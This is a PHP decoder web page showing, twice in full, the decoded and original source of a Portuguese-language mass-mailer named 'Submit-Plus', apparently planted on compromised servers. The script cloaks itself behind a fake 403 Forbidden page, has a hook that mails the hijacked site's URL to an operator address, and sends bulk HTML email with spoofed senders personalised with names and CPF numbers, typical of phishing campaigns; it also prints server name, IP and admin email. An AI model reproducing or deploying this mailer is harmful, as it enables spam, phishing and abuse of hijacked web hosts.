Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if($_SERVER["SCRIPT_NAME"] != "/index.php"){ header("HTTP/1.0 403 Forbidden");echo b..
Decoded Output download
<?php
if($_SERVER["SCRIPT_NAME"] != "/index.php"){ header("HTTP/1.0 403 Forbidden");echo base64_decode("PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9JRVRGLy9EVEQgSFRNTCAyLjAvL0VOIj4KPGh0bWw+PGhlYWQ+Cjx0aXRsZT40MDMgRm9yYmlkZGVuPC90aXRsZT4KPC9oZWFkPjxib2R5Pgo8aDE+Rm9yYmlkZGVuPC9oMT4KPHA+WW91IGRvbid0IGhhdmUgcGVybWlzc2lvbiB0byBhY2Nlc3MgdGhpcyByZXNvdXJjZS48L3A+Cjxocj4KPC9ib2R5PjwvaHRtbD4=");die(); }
?>
<?php
if(isset($_GET['testa'])){
$email = base64_decode('');
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$target = rawurldecode($web.$inj);
$envio = mail("$email","[v] http://$target","http://$target");
if($envio) { echo '<span style="font-family: monospace;">[+] FOI</span><br>'; }
else { echo '<span style="font-family: monospace;">[-] NaO</span><br>'; }
}
$testa = $_POST['veio'];
if($testa != "") {
$message = $_POST['html'];
$subject = $_POST['assunto'];
//$nome = $_POST['nome'];
$de = $_POST['de'];
$to = $_POST['emails'];
$host = "<font color='#FFFFFF'>".$_SERVER["HTTP_HOST"]." </font>";
$email = explode("
", $to);
$message = stripslashes($message);
$i = 0;
$count = 1;
while($email[$i]) {
$aux = explode(';',$email[$i]);
$dataHora = date("d/m/Y h:i:s");
$boundary = rand(0,999999999999);
$codig = " - ( $boundary
)";
$EmailTemporario = $aux[0];
$message = stripslashes($message);
$rnd = rand(10000000, 99999999);
$msgy = str_replace("%email%", $EmailTemporario, $message);
$msgx = str_replace("%rand%", $rnd, $msgy);
$msgz = str_replace("%nome%", $aux[1], $msgx);
$msga = str_replace("%cpf%", $aux[2], $msgz);
$msgb = str_replace("%nome%", $aux[1], $subject);
$de = str_replace("%rand%", $rnd, $de);
$headers = "MIME-Version: 1.0
";
$headers .= "Content-type: text/html; charset=iso-8859-1
";
$headers .= "From: ".$nome." <".$de.">
";
if(mail($EmailTemporario, $msgb.$codig, $msga.$dataHora, $headers))
echo '<font color=blue>( $count ) <b><font color=black>ENVIADO '.($i+1).' </font><email>'.$email[$i].'</email></b><br><hr>';
else
echo '<font color=black>( $count ) <b><font color=red>FALHOU '.($i+1).' </font><email>'.$email[$i].'</email></b> <br><hr>';
$i++;
$count++;
}
$count--;
if($ok == "ok")
echo "";
}
?>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Submit-Plus</title>
</head>
<body>
<p>
<span style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">
<form action="" method="post" enctype="multipart/form-data" name="form1">
<input type="hidden" name="veio" value="sim" />
</span>
</p>
<table width="720" height="496" border="0">
<tr>
<td><p style="text-align: center; font-size: 36px; color: #009; font-weight: bold; font-style: italic;">SUBMIT-PLUS</p>
<p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">Assunto:
<input name="assunto" type="text"class="normal" id="assunto" style="width:88%" value="BRDS" />
</p>
<p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">Remetente:
<input name="de" type="text"class="normal" id="de" style="width:88%" value="BRDS%rand%" />
</p>
<p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">HTML:
<textarea name="html" style="width:40%" rows="8" wrap="virtual" class="normal" id="html">
</textarea>
*.*Lista
<textarea name="emails" style="width:40%" rows="8" wrap="virtual" class="normal" id="emails">[email protected]
[email protected]
[email protected]</textarea>
</p>
<p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">
<input type="submit" name="Submit" id="enviar" value="Enviar">
</p>
<p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;"> </p>
<p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;"> </p>
<p style="text-align: left; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">Nome do Servidor: <?php echo $UNAME = @php_uname(); ?><br />
IP: <?php echo $_SERVER['SERVER_ADDR']; ?><br />
Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?> <br>
Sistema Operacional: <?php echo $OS = @PHP_OS; ?></p></td>
</tr>
</table>
</body>
</html>
Did this file decode correctly?
Original Code
<?php
if($_SERVER["SCRIPT_NAME"] != "/index.php"){ header("HTTP/1.0 403 Forbidden");echo base64_decode("PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9JRVRGLy9EVEQgSFRNTCAyLjAvL0VOIj4KPGh0bWw+PGhlYWQ+Cjx0aXRsZT40MDMgRm9yYmlkZGVuPC90aXRsZT4KPC9oZWFkPjxib2R5Pgo8aDE+Rm9yYmlkZGVuPC9oMT4KPHA+WW91IGRvbid0IGhhdmUgcGVybWlzc2lvbiB0byBhY2Nlc3MgdGhpcyByZXNvdXJjZS48L3A+Cjxocj4KPC9ib2R5PjwvaHRtbD4=");die(); }
?>
<?php
if(isset($_GET['testa'])){
$email = base64_decode('');
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$target = rawurldecode($web.$inj);
$envio = mail("$email","[v] http://$target","http://$target");
if($envio) { echo '<span style="font-family: monospace;">[+] FOI</span><br>'; }
else { echo '<span style="font-family: monospace;">[-] NaO</span><br>'; }
}
$testa = $_POST['veio'];
if($testa != "") {
$message = $_POST['html'];
$subject = $_POST['assunto'];
//$nome = $_POST['nome'];
$de = $_POST['de'];
$to = $_POST['emails'];
$host = "<font color='#FFFFFF'>".$_SERVER["HTTP_HOST"]." </font>";
$email = explode("\n", $to);
$message = stripslashes($message);
$i = 0;
$count = 1;
while($email[$i]) {
$aux = explode(';',$email[$i]);
$dataHora = date("d/m/Y h:i:s");
$boundary = rand(0,999999999999);
$codig = " - ( $boundary\n )";
$EmailTemporario = $aux[0];
$message = stripslashes($message);
$rnd = rand(10000000, 99999999);
$msgy = str_replace("%email%", $EmailTemporario, $message);
$msgx = str_replace("%rand%", $rnd, $msgy);
$msgz = str_replace("%nome%", $aux[1], $msgx);
$msga = str_replace("%cpf%", $aux[2], $msgz);
$msgb = str_replace("%nome%", $aux[1], $subject);
$de = str_replace("%rand%", $rnd, $de);
$headers = "MIME-Version: 1.0\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\n";
$headers .= "From: ".$nome." <".$de.">\r\n";
if(mail($EmailTemporario, $msgb.$codig, $msga.$dataHora, $headers))
echo '<font color=blue>( $count ) <b><font color=black>ENVIADO '.($i+1).' </font><email>'.$email[$i].'</email></b><br><hr>';
else
echo '<font color=black>( $count ) <b><font color=red>FALHOU '.($i+1).' </font><email>'.$email[$i].'</email></b> <br><hr>';
$i++;
$count++;
}
$count--;
if($ok == "ok")
echo "";
}
?>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Submit-Plus</title>
</head>
<body>
<p>
<span style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">
<form action="" method="post" enctype="multipart/form-data" name="form1">
<input type="hidden" name="veio" value="sim" />
</span>
</p>
<table width="720" height="496" border="0">
<tr>
<td><p style="text-align: center; font-size: 36px; color: #009; font-weight: bold; font-style: italic;">SUBMIT-PLUS</p>
<p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">Assunto:
<input name="assunto" type="text"class="normal" id="assunto" style="width:88%" value="BRDS" />
</p>
<p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">Remetente:
<input name="de" type="text"class="normal" id="de" style="width:88%" value="BRDS%rand%" />
</p>
<p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">HTML:
<textarea name="html" style="width:40%" rows="8" wrap="virtual" class="normal" id="html">
</textarea>
*.*Lista
<textarea name="emails" style="width:40%" rows="8" wrap="virtual" class="normal" id="emails">[email protected]
[email protected]
[email protected]</textarea>
</p>
<p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">
<input type="submit" name="Submit" id="enviar" value="Enviar">
</p>
<p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;"> </p>
<p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;"> </p>
<p style="text-align: left; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">Nome do Servidor: <?php echo $UNAME = @php_uname(); ?><br />
IP: <?php echo $_SERVER['SERVER_ADDR']; ?><br />
Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?> <br>
Sistema Operacional: <?php echo $OS = @PHP_OS; ?></p></td>
</tr>
</table>
</body>
</html>
Function Calls
explode | 1 |
stripslashes | 1 |
Stats
MD5 | e5317e4548090630916153d652c29d81 |
Eval Count | 0 |
Decode Time | 358 ms |